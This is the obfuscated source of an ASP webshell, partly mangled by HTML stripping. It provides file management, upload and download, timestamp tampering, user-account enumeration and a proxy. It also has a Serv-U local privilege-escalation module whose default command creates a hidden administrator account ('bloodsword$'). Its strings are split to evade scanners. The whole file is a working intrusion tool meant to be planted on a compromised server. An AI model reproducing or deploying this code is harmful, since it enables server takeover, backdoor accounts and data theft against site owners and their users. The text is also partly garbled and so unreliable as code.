    " +echo"" +echo"" +jwwxg +iroyi +echo"" +okxls +End Sub +Sub qmnx() +If Not gdzvu Then On Error Resume Next +Set a=wannd("Microsoft.XMLH"&uybs&"TTP") +a.open"GET","http://127.0.0.1:"&txmf&"/goldsun/upadm"&yfx&"in/s1",True,"","" +a.send qpry&koooz&mt&mzy&nqihw&zgj&tgs +Set Session("a")=a +jdvsp"Connecting 127.0.0.1:"&txmf&" using "&vaxil&",pass:"&wxh&"..." +lpcb +End Sub +Sub bfun() +If Not gdzvu Then On Error Resume Next +lpcb() +Set b=wannd("Microsoft.XMLH"&uybs&"TTP") +b.open"GET","http://"&ids("LOCAL_ADDR")&":"&vsbms&"/goldsun/upadm"&yfx&"in/s2",False,"","" +b.send"User "&nuser&vbCrLf&"pass "&npass&vbCrLf&"site exec "&sxib&vbCrLf&tgs +Set Session("b")=b +jdvsp"Executing com"&ehk&"mand..." +prj"

    " +prj Replace(b.ResponseText,chr(10),"
    ")&"
    " +End Sub +Sub wqfl() +If Not gdzvu Then On Error Resume Next +Set c=wannd("Microsoft.XMLH"&uybs&"TTP") +c.open "GET","http://127.0.0.1:"&txmf&"/goldsun/upadm"&yfx&"in/s3",True,"","" +c.send qpry&koooz&mt&mzy&tgs +Set Session("c")=c +jdvsp"Temp domain deleted!" +echo"" +End Sub +Function vtyj() +If Not gdzvu Then On Error Resume Next +vtyj=Lcase(Left(cfho.GetSpecialFolder(0),2)) +If vtyj=""Then vtyj="c:" +End Function +Sub lpcb() +If nuser=""Then nuser="go" +If npass=""Then npass="od" +If vsbms=""Then vsbms="60000" +pppf True +olisd "wkfvm",2 +echo"
    Execute Cmd
    " +skkkw "80%" +mypdl 1 +doTd"com"&ehk&"mand","" +gsj"text","sxib","cmd /c net us"&xpbp&"er bloodsword$ 0kee /add & net loca"&mlat&"lgroup administrators bloodsword$ /add","","",3 +jwwxg +mypdl 0 +doTd"Ftp user","" +gsj"text","nuser",nuser,"","","" +doTd"Ftp pass","" +gsj"text","npass",npass,"","","" +jwwxg +mypdl 1 +doTd"Ftp port","" +gsj"text","vsbms",vsbms,"","","" +echo"
    " +iroyi +echo"" +xpor +End Sub +Sub vyqpe() +pppf True +olisd "wkfvm",3 +echo"
    Clean Temp Domain
    " +skkkw "80%" +mypdl 1 +doTd"Local user","20%" +gsj"text","vaxil","Loca"&nby&"lAdministrator","30%","","" +doTd"Local pass","20%" +gsj"text","wxh","#l@$ak#.lk;0@P","30%","","" +jwwxg +mypdl 0 +doTd"Local port","" +gsj"text","txmf","439"&mmx&"58","","","" +doTd"Temp domain port","" +gsj"text","vsbms","60000","","","" +jwwxg +mypdl 1 +echo"
    " +iroyi +echo"" +xpor +End Sub +Sub pwz() +If Not gdzvu Then On Error Resume Next +Dim theFolder +uznjs"Asp Webshell Scanner" +echo"Path : " +pppf True +vots"text","wjiy","/",50,"" +echo" " +xzs"Scan" +rfc"echs",1," Get include files","" +If wjiy<>""Then +If InStr(wjiy,":\")<1 Then wjiy=iiju(wjiy) +echo"
    " +Response.Flush() +rwxiy +Set theFolder=cfho.GetFolder(wjiy) +waozu(theFolder) +Set theFolder=Nothing +echo"" +End If +okxls +End Sub +Sub waozu(theFolder) +If Not gdzvu Then On Error Resume Next +Server.ScriptTimeOut=5000 +Dim afqj,uvh,ext,cfwvy,funcs,njxs,uitb,theFile,content,obcy +afqj="WS"&qfmd&"cript.S"&oda&"hell|WS"&qfmd&"cript.Sh"&wzeok&"ell.1|Sh"&wzeok&"ell.Applicati"&jaoy&"on|Sh"&wzeok&"ell.Applicati"&jaoy&"on.1|clsid:72C2"&gqlo&"4DD5-D70A-438B-8A42-984"&slgv&"24B88AFB8|clsid:13709"&dav&"620-C279-11CE-A49E-44455"&wila&"3540000" +uvh="WS"&qfmd&"cript.S"&oda&"hell;Run,Exec,RegRead|Sh"&wzeok&"ell.Applicati"&jaoy&"on;ShellExecu"&srtb&"te|Scrip"&dlbgc&"ting.Fi"&xxjzd&"leSystemObject;CreateTextFile,OpenTextFile,SavetoFile" +For Each qay In theFolder.Files +obcy=False +njxs=False +ext=Lcase(aiy(qay.Name,".")) +If mox(ext,"^("&fgejg&")$") Then +content=luuh(qay.Path) +uitb="" +For Each flit In Split(afqj,"|") +If InStr(1,content,flit,1)>0 Then +uhie qay,"Object with risk : "&flit&"" +obcy=True +End If +Next +For Each strFunc In Split(uvh,"|") +cfwvy=snqsz(strFunc,";",True) +funcs=aiy(strFunc,";") +For Each subFunc In Split(funcs,",") +If mox(content,"\."&subFunc&"\b") Then +uhie qay,"Called object "&cfwvy&"'s "&subFunc&" Function" +obcy=True +End If +Next +Next +If mox(content,"Set\s*.*\s*=\s*server\s")Then +uhie qay,"Found Set xxx=Server" +obcy=True +End If +If mox(content,"server.(execute|Transfer)([ \t]*|\()[^""]\)")Then +uhie qay,"Found Server."&kjozs&"Execute / Transfer() Function" +obcy=True +End If +If mox(content,"\bLANGUAGE\s*=\s*[""]?\s*(vbscript|jscript|javascript)\.encode\b")Then +uhie qay,"Script encrypted" +obcy=True +End If +If mox(content,"")Then +uhie qay,"Found "&uhu(" + + + +
    " +prj rs.RecordCount&" records in total,page "&vtyjq +tcpp "evu","","",ouo,"1","«",uhu(" ") +oooeu="" +If ouo=""Then oooeu=Replace(npkn,"'","\'") +For i=1 To vtyjq +If i=lrmn Then +echo uhu(" "&i&" ") +Else +echo uhu(" ") +tcpp "evu","",oooeu,ouo,i,i,uhu(" ") +End If +Next +echo uhu(" ") +tcpp "evu","",oooeu,ouo,vtyjq,"»","" +echo"" +arqt"wkfvm","80px","" +isbb"kmulx","FSO" +isbb"bbn","UnFSO" +iesnd +echo" Pack as : " +vots"text","uhuv",uhuv,40,"" +echo"" +echo"Exceptional file type,split with | " +vots"text","ubg",ubg,40,"" +echo"
    Mdb path : " +vots"text","uhuv",uhuv,40,"" +echo"" +arqt"wkfvm","80px","" +isbb"fsoSearch","FSO" +isbb"saSearch","UnFSO" +iesnd +echo"
    " +rfc"fcz",1," Regexp","" +prj"    		" +rfc"rmpr",1," Replace","" +prj"" +vots"radio","searchType","filename","","" +echo"File name " +vots"radio","searchType","aunk","","checked" +echo"File content" +echo"" +xzs"Go" +echo"" +vots"reSet","","ReSet","","" +echo"
    " +fach goaction,"","","Add domain","" +echo"" +fach goaction,4,"","Exec cmd","" +echo"" +fach goaction,5,"","Clean domain","" +echo"" +xzs"Go" +echo"" +vots"reSet","","ReSet","","" +echo"
    " +xzs"Go" +echo"" +vots"reSet","","ReSet","","" +echo"
    + + + + + + + + + + +
    + + + + + + + +<% +If prlq Then +%> +     + + +<% +End If +%>

    <%=ids("LOCAL_ADDR")&"("&vmycc&")"%>
    +<%qzlnh ajvx,"#0099FF","3"%>
    +    		<%=zajt()%>
    +Server Info | +Object Info | +User Info | +C-S Info | +WS Execute | +FSO File | +App File | +DataBase | +File Packager | +File Searcher | +ServU Exp | +Scan Shells | +Some Others... | +Logout | +Decode +

    +<% +echo"" +qzlnh pufyf&"»","#0099ff","2" +prj"

    " +End Sub +Sub jab() +Dim vgas +vgas=snqsz(ids("PATH_INFO"),"/",False) +echo pifbx("http://"&vmycc&vgas&"/"&cwzd&"?"&ids("QUERY_STRING"),"GET") +Response.status=jcy.status +response.End +End Sub +Sub sikc(kvqdq,eazb) +Dim ojk +If Not gdzvu Then On Error Resume Next +echo"
  • "&kvqdq +If eazb<>""Then +echo"(Object "&eazb&")" +End If +echo"" +If Err Then Err.Clear +Set ojk=wannd(kvqdq) +If Err Then +qzlnh uhu("Disabled"),"red","" +Else +qzlnh uhu("Enabled "),"green","" +echo"Version:"&ojk.Version&";" +echo"About:"&ojk.About +End If +echo"
    • " +If Err Then Err.Clear +Set ojk=Nothing +End Sub +Sub ejh(vhl) +Dim User,mig,wiz +If Not gdzvu Then On Error Resume Next +Set User=getObj("WinNT://./"&vhl&",user") +mig=User.Get("UserFlags") +wiz=User.LastLogin +mypdl 0 +doTd"Description","20%" +doTd User.Description,"80%" +jwwxg +mypdl 1 +doTd"Belong to","" +doTd lgwn(vhl),"" +jwwxg +mypdl 0 +doTd"Password expired","20%" +doTd CBool(User.Get("Passw"&toqz&"ordExpired")),"80%" +jwwxg +mypdl 1 +doTd"Password never expire","" +doTd cbool(mig And&H10000),"" +jwwxg +mypdl 0 +doTd"Can't change password","" +doTd cbool(mig And&H00040),"" +jwwxg +mypdl 1 +doTd"Global-group account","" +doTd cbool(mig And&H100),"" +jwwxg +mypdl 0 +doTd"Password length at least","" +execute "doTd User.PasswordM"&tnsaq&"inimumLength,""""" +jwwxg +mypdl 1 +doTd"Password required","" +doTd User.PasswordRequired,"" +jwwxg +mypdl 0 +doTd"Account disabled","" +execute "doTd User.Acco"&vzm&"untDisabled,""""" +jwwxg +mypdl 1 +doTd"Account locked","" +execute "doTd User.IsAccount"&cfxwl&"Locked,""""" +jwwxg +mypdl 0 +doTd"User profile","" +doTd User.Profile,"" +jwwxg +mypdl 1 +doTd"User loginscript","" +doTd User.LoginScript,"" +jwwxg +mypdl 0 +doTd"Home directory","" +doTd User.HomeDirectory,"" +jwwxg +mypdl 1 +doTd"Home drive","" +doTd User.Get("HomeD"&qzyl&"irDrive"),"" +jwwxg +mypdl 0 +doTd"Last login","" +doTd wiz,"" +jwwxg +If Err Then Err.Clear +End Sub +Function lgwn(vhl) +Dim kns,zoiz +Set kns=getObj("WinNT://./"&vhl&",user") +For Each zoiz in kns.Groups +lgwn=lgwn&" "&zoiz.Name +Next +End Function +Function luuh(wjiy) +execute "Set objCountFile=cfho.OpenT"&uaucr&"extFile(wjiy,1,True)" +execute "luuh=Replace(objCountFile.ReadA"&fstp&"ll,Chr(0),"" "")" +objCountFile.Close +Set objCountFile=Nothing +End Function +Function ksfhb(wjiy) +If Not gdzvu Then On Error Resume Next +Set xbo=wannd("Ad"&rgc&"odb.St"&jgcbg&"ream") +With xbo +.Type=2 +.Mode=3 +.Open +.LoadFromFile wjiy +If wkfvm="uen" Then +.CharSet="utf-8" +Else +.CharSet=tbq +End If +.Position=2 +ksfhb=Replace(.ReadText(),Chr(0)," ") +.Close +End With +Set xbo=Nothing +End Function +Sub ewi(wjiy,aunk,lxqjg) +If Not gdzvu Then On Error Resume Next +Set xbo=wannd("Ad"&rgc&"odb.St"&jgcbg&"ream") +With xbo +.Type=lxqjg +.Mode=3 +.Open +If wkfvm="kcbe"Then +.CharSet="utf-8" +ElseIf wkfvm="Save"Then +.CharSet=tbq +End If +If lxqjg=2 Then +.WriteText aunk +Else +.Write aunk +End If +execute "xbo.S"&icve&"avetoFile wjiy,2" +.Close +End With +Set xbo=Nothing +End Sub +Sub pjby(wjiy,aunk) +Dim theFile +execute "Set theFile=cfho.Ope"&trwh&"nTextFile(wjiy,2,True)" +theFile.Write aunk +theFile.Close +Set theFile=Nothing +End Sub +Sub cnd() +If Not gdzvu Then On Error Resume Next +If kbcx="file"Then +wjiy=wjiy&"\"&qbh +execute "Call cfho.Creat"&nond&"eTextFile(wjiy,False)" +omt +Else +execute "cfho.CreateFol"&npj&"der(wjiy&""\""&qbh)" +End If +If Err Then +byv(Err) +Else +jdvsp"File/folder created" +End If +End Sub +Sub wstda() +Dim jxgez,ydqp,crlct,zgaf +If Not gdzvu Then On Error Resume Next +wjiy=snqsz(dpqnl,"|",False) +jxgez=aiy(dpqnl,"|") +If InStr(wjiy,"\")<1 Then wjiy=wjiy&"\" +Dim theFile,fileName,theFolder +If wjiy=""Or jxgez=""Then +jdvsp"Parameter wrong!" +Exit Sub +End If +If jbn="fso"Then +If wkfvm="renamefolder"Then +Set theFolder=cfho.GetFolder(wjiy) +theFolder.Name=jxgez +Set theFolder=Nothing +Else +Set theFile=cfho.GetFile(wjiy) +theFile.Name=jxgez +Set theFile=Nothing +End If +Else +zgaf=aiy(wjiy,"\") +crlct=snqsz(wjiy,"\",False) +execute "Set ydqp=zaydb.Nam"&mby&"eSpace(crlct)" +Set ief=ydqp.ParseName(zgaf) +ief.Name=jxgez +End If +If Err Then +byv(Err) +Else +jdvsp"Rename completed" +End If +End Sub +Sub lbhn() +If Not gdzvu Then On Error Resume Next +If wkfvm="ohp"Then +execute "Call cfho.D"&wwv&"eleteFolder(wjiy,True)" +Else +execute "Call cfho.DeleteFi"&ihk&"le(wjiy,True)" +End If +If Len(wjiy)=2 Then wjiy=wjiy&"\" +If Err Then +byv(Err) +Else +jdvsp"File/folder deleted" +End If +End Sub +Sub xms() +Dim dirsq,tzhl,zptv,mbuem,rtym +If Not gdzvu Then On Error Resume Next +wjiy=Left(dpqnl,Instr(dpqnl,"|")-1) +tzhl=Mid(dpqnl,InStr(dpqnl,"|")+1) +If wjiy=""Or tzhl=""Then +jdvsp"Parameter wrong!" +Exit Sub +End If +Select Case wkfvm +Case"ehwr" +execute "Call cfho.Co"&tqnx&"pyFolder(wjiy,tzhl)" +Case"wkicu" +execute "Call cfho.Copy"&yhfz&"File(wjiy,tzhl)" +Case"cmhk" +execute "Call cfho.MoveF"&zla&"older(wjiy,tzhl)" +Case"okio" +echo wjiy&"||"&tzhl +execute "Call cfho.Move"&agzh&"File(wjiy,tzhl)" +End Select +If Err Then +byv(Err) +Else +jdvsp"File/folder copyed/moved" +End If +End Sub +Sub qxb() +Dim rfeef,cey,btt,aum +If Not gdzvu Then On Error Resume Next +wjiy=Left(dpqnl,Instr(dpqnl,"|")-1) +If Right(wjiy,1)="\"And Len(wjiy)>3 Then wjiy=Left(wjiy,Len(wjiy)-1) +cey=aiy(wjiy,"\") +btt=Mid(dpqnl,Instr(dpqnl,"|")+1) +wjiy=snqsz(wjiy,"\",False) +execute "Set aum=zaydb.N"&mpe&"ameSpace(wjiy)" +Set rfeef=aum.ParseName(cey) +If btt<>""Then +If IsDate(btt) Then rfeef.ModIfyDate=btt +End If +If Err Then +byv(Err) +Else +jdvsp"Time modIffied" +End If +Set rfeef=Nothing +Set aum=Nothing +End Sub +Sub ijv() +Response.Clear +If Not gdzvu Then On Error Resume Next +Dim fileName,scms +fileName=aiy(wjiy,"\") +Set xbo=wannd("Ad"&rgc&"odb.St"&jgcbg&"ream") +xbo.Open +xbo.Type=1 +execute "xbo.Load"&cork&"FromFile(wjiy)" +byv(Err) +Session.CodePage=936 +Response.AddHeader"Content-Disposition","Attachment; Filename="&fileName +Session.CodePage=65001 +Response.AddHeader"Content-Length",xbo.Size +Response.ContentType="Application/Octet-Stream" +Response.BinaryWrite xbo.Read +Response.Flush() +xbo.Close +Set xbo=Nothing +End Sub +Class upload_5xsoft +Dim cth,qay +Public Function Form(azrn) +azrn=Lcase(azrn) +If Not cth.exists(azrn) Then +Form="" +Else +Form=cth(azrn) +End If +End Function +Public Function File(strFile) +If Not gdzvu Then On Error Resume Next +strFile=Lcase(strFile) +If not qay.exists(strFile) Then +Set File=new FileInfo +Else +Set File=qay(strFile) +End If +End Function +Private Sub Class_Initialize +If Not gdzvu Then On Error Resume Next +Dim egmt,ujp,vbCrlf,ipf,fwl,badig,cxnes,mmzz,theFile +Dim jwys,vnzn,mfcyi,zvhy,wxhe +Dim pel,god +Dim efd,vovza,bfi +Set cth=wannd("Scrip"&dlbgc&"ting.Dictionary") +Set qay=wannd("Scrip"&dlbgc&"ting.Dictionary") +If Request.TotalBytes<1 Then Exit Sub +Set cxnes=wannd("Ad"&rgc&"odb.St"&jgcbg&"ream") +Set xbo=wannd("Ad"&rgc&"odb.St"&jgcbg&"ream") +xbo.Type=1 +xbo.Mode=3 +xbo.Open +xbo.Write Request.BinaryRead(Request.TotalBytes) +xbo.Position=0 +egmt=xbo.Read +efd=1 +vovza=LenB(egmt) +vbCrlf=chrB(13)&chrB(10) +ujp=MidB(egmt,1,InStrB(efd,egmt,vbCrlf)-1) +mmzz=LenB(ujp) +efd=efd+mmzz+1 +While(efd+10) 0 Then +Set theFile=new FileInfo +pel=InStr(god,ipf,"filename=""",1)+10 +god=InStr(pel,ipf,"""",1) +wxhe=Mid(ipf,pel,god-pel) +theFile.FileName=faqhv(wxhe) +theFile.FilePath=orj(wxhe) +theFile.yjr=glv(wxhe) +pel=InStr(god,ipf,"Content-Type: ",1)+14 +god=InStr(pel,ipf,vbCr) +theFile.FileType =Mid(ipf,pel,god-pel) +theFile.gstqc =badig +theFile.FileSize=efd-badig-3 +theFile.ujdu=bfi +If not qay.Exists(bfi)Then +qay.add bfi,theFile +End If +Else +cxnes.Type =1 +cxnes.Mode =3 +cxnes.Open +xbo.Position=badig +xbo.CopyTo cxnes,efd-badig-3 +cxnes.Position=0 +cxnes.Type=2 +cxnes.CharSet ="gb2312" +zvhy=cxnes.ReadText +cxnes.Close +If cth.Exists(bfi) Then +cth(bfi)=cth(bfi)&","&zvhy +Else +cth.Add bfi,zvhy +End If +End If +efd=efd+mmzz+1 +wEnd +egmt="" +Set cxnes =nothing +End Sub +Private Sub Class_Terminate +If Not gdzvu Then On Error Resume Next +If Request.TotalBytes>0 Then +cth.RemoveAll +qay.RemoveAll +Set cth=nothing +Set qay=nothing +xbo.Close +Set xbo =nothing +End If +End Sub +Private Function orj(ehlw) +If Not gdzvu Then On Error Resume Next +If ehlw<>"" Then +orj=left(ehlw,InStrRev(ehlw,"\")) +Else +orj="" +End If +End Function +Private Function glv(ehlw) +If ehlw<>"" Then +glv=mid(ehlw,InStrRev(ehlw,".")+1) +Else +glv="" +End If +End Function +Private Function faqhv(ehlw) +If ehlw<>"" Then +faqhv=mid(ehlw,InStrRev(ehlw,"\")+1) +Else +faqhv="" +End If +End Function +End Class +Class FileInfo +Dim ujdu,FileName,FilePath,FileSize,yjr,FileType,gstqc +Private Sub Class_Initialize +FileName="" +FilePath="" +FileSize=0 +gstqc= 0 +ujdu="" +FileType="" +yjr= "" +End Sub +Public Function ppco(ehlw) +Dim dr,yqbgf,i +ppco=True +If Trim(ehlw)="" or gstqc=0 or FileName="" or Right(ehlw,1)="/" Then exit Function +Set dr=CreateObject("Ad"&rgc&"odb.St"&jgcbg&"ream") +dr.Mode=3 +dr.Type=1 +dr.Open +xbo.position=gstqc +xbo.copyto dr,FileSize +execute "dr.SavetoFi"&vbxja&"le ehlw,2" +dr.Close +Set dr=nothing +ppco=False +End Function +Public Function mzn() +xbo.position=gstqc +mzn=xbo.Read(FileSize) +End Function +End Class +Sub myccq() +If Not gdzvu Then On Error Resume Next +If wjiy="" Then wjiy=vuv +If InStr(wjiy,":")<1 Then wjiy=vuv&"\"&wjiy +Set theFile=ars.File("upfile") +If qaxei="" Then qaxei=theFile.FileName +theFile.ppco(wjiy&"\"&qaxei) +If Err Then +byv(Err) +Else +jdvsp("Upload Sucess") +End If +End Sub +Function pifbx(qean,method) +If Not gdzvu Then On Error Resume Next +Dim mgy +If method="POST" Then +mgy=Split(qean,"?")(1) +qean=Split(qean,"?")(0) +End If +jcy.Open method,qean,False +If method="POST" Then +jcy.SetRequestHeader"Content-Type","application/x-www-form-urlencoded" +jcy.send mgy +Else +jcy.send +End If +If mox(jcy.getAllResponseHeaders(),"charSet ?= ?[""']?[\w-]+")Then +pagecharSet=Trim(dwqgl(cfv(jcy.getAllResponseHeaders(),"charSet ?= ?[""']?[\w-]+",False)(0),"charSet ?= ?[""']?","",False)) +ElseIf mox(jcy.ResponseText,"charSet ?= ?[""']?[\w-]+")Then +pagecharSet=Trim(dwqgl(cfv(jcy.ResponseText,"charSet ?= ?[""']?[\w-]+",False)(0),"charSet ?= ?[""']?","",False)) +End If +If pagecharSet=""Then pagecharSet=tbq +pifbx=sha(jcy.responseBody,pagecharSet) +End Function +Function cyjn() +If Request.Cookies(ysktq)=""Then +cyjn=False +Exit Function +End If +If qiep(Request.Cookies(ysktq))=pass Then +cyjn=True +Else +cyjn=False +End If +End Function +Function xppp(pamToEn) +If Not skw Or pamToEn=""Then +xppp=pamToEn +Exit Function +End If +Dim tt,uxond +tt="" +For i=1 To Len(pamToEn) +uxond=Mid(pamToEn,i,1) +If Asc(uxond)<128 And Asc(uxond)>0 Then +tt=tt&Asc(uxond)+aal&iul +Else +tt=tt&uxond&iul +End If +Next +xppp=Left(tt,Len(tt)-1) +End Function +Function fkv(toq) +If Not skw Or toq="" Or Not mox(toq,"^((\d+|.)"&iul&")+(\d+|.)$")Then +fkv=toq +Exit Function +End If +Dim dd,yfwim +dd="" +yfwim=Split(toq,iul) +For i=0 To UBound(yfwim) +If IsNumeric(yfwim(i))Then +dd=dd&Chr(CInt(yfwim(i))-aal) +Else +dd=dd&yfwim(i) +End If +Next +fkv=dd +End Function +Function zajt() +Dim sont,cfu,rak +cfu=88 +rak=31 +sont="
    " +sont=sont&"Bink Team | " +sont=sont&"0kee Team | " +sont=sont&"T00ls | " +sont=sont&"Fuck Tencent" +zajt=sont +End Function +Function sha(jdj,gmvw) +If Not gdzvu Then On Error Resume Next +Dim iyrl,mkpat +Set iyrl=wannd("Ad"&rgc&"odb.St"&jgcbg&"ream") +With iyrl +.Type=2 +.Open +.WriteText jdj +.Position=0 +.CharSet=gmvw +.Position=2 +mkpat=.ReadText(.Size) +.close +End With +Set iyrl=Nothing +sha=mkpat +End Function +Function ids(str) +ids=Request.ServerVariables(str) +End Function +Function wannd(flit) +Set wannd=Server.CreateObject(flit) +End Function +Function getObj(flit) +Set getObj=GetObject(flit) +End Function +Function lcbr(str) +lcbr=server.urlencode(str) +End Function +Function tbe(str) +Dim fsrh,phg +fsrh="" +For i=0 To Len(str)-1 +phg=Right(str,Len(str)-i) +If Asc(phg)<16 Then fsrh=fsrh&"0" +fsrh=fsrh&CStr(Hex(Asc(phg))) +Next +tbe="0x"&fsrh +End Function +Function jnbm(str) +Dim fsrh,phg +fsrh="" +For i=0 To Len(str)-1 +phg=Right(str,Len(str)-i) +fsrh=fsrh&CStr(Hex(Asc(phg)))&"00" +Next +jnbm="0x"&fsrh +End Function +Function uhu(str) +str=trubs(str) +str=Replace(str,Chr(13)&Chr(10),"
    ") +uhu=Replace(str," "," ") +End Function +Function trubs(str) +If Not gdzvu Then On Error Resume Next +str=CStr(str) +If IsNull(str)Or str=""Then +trubs="" +Exit Function +End If +trubs=Server.HtmlEncode(str) +End Function +Function iiju(str) +iiju=Server.MapPath(str) +End Function +Sub byv(Err) +If Err Then +jdvsp"Exception :"&Err.Description +jdvsp"Exception source :"&Err.Source +Err.Clear +End If +End Sub +Function qiep(ByVal CodeStr) +Dim oygic +Dim ftdy +Dim zlmjh +oygic=30 +ftdy=oygic-Len(CodeStr) +If Not ftdy<1 Then +For cecr=1 To ftdy +CodeStr=CodeStr&Chr(21) +Next +End If +zlmjh=1 +Dim Ben +For cecb=1 To oygic +Ben=oygic+Asc(Mid(CodeStr,cecb,1)) * cecb +zlmjh=zlmjh * Ben +Next +CodeStr=zlmjh +zlmjh=Empty +For cec=1 To Len(CodeStr) +zlmjh=zlmjh&xsgp(Mid(CodeStr,cec,3)) +Next +For cec=20 To Len(zlmjh)-18 Step 2 +qiep=qiep&Mid(zlmjh,cec,1) +Next +End Function +Function xsgp(word) +For cc=1 To Len(word) +xsgp=xsgp&Asc(Mid(word,cc,1)) +Next +xsgp=Hex(xsgp) +End Function +Function ilnuo(byfm) +If byfm>=(1024 * 1024 * 1024)Then ilnuo=Fix((byfm /(1024 * 1024 * 1024))* 100)/ 100&"G" +If byfm>=(1024 * 1024)And byfm<(1024 * 1024 * 1024)Then ilnuo=Fix((byfm /(1024 * 1024))* 100)/ 100&"M" +If byfm>=1024 And byfm<(1024 * 1024)Then ilnuo=Fix((byfm / 1024)* 100)/ 100&"K" +If byfm>=0 And byfm<1024 Then ilnuo=byfm&"B" +End Function +Function jzf(num) +Select Case num +Case 0 +jzf="Unknown" +Case 1 +jzf="Removable" +Case 2 +jzf="Local drive" +Case 3 +jzf="Net drive" +Case 4 +jzf="CD-ROM" +Case 5 +jzf="RAM disk" +End Select +End Function +Function omrpv(ByVal str) +str=Replace(str,"\","\\") +omrpv=Replace(str,"\\\\","\\") +End Function +Function jwv(str) +jwv="Provider=Microsoft.Jet.OLEDB.4.0;Data Source="&str +End Function +Function snqsz(str,eox,sef) +If str="" Or InStr(str,eox)<1 Then +snqsz="" +Exit Function +End If +If sef Then +snqsz=Left(str,InStr(str,eox)-1) +Else +snqsz=Left(str,InstrRev(str,eox)-1) +End If +End Function +Function aiy(str,eox) +If str="" Or InStr(str,eox)<1 Then +aiy="" +Exit Function +End If +aiy=Mid(str,InstrRev(str,eox)+Len(eox)) +End Function +Sub echo(str) +Response.Write str +End Sub +Sub prj(str) +echo str&vbCrLf +End Sub +Sub slv(flit,dctwz) +echo""&flit&" :" +echo"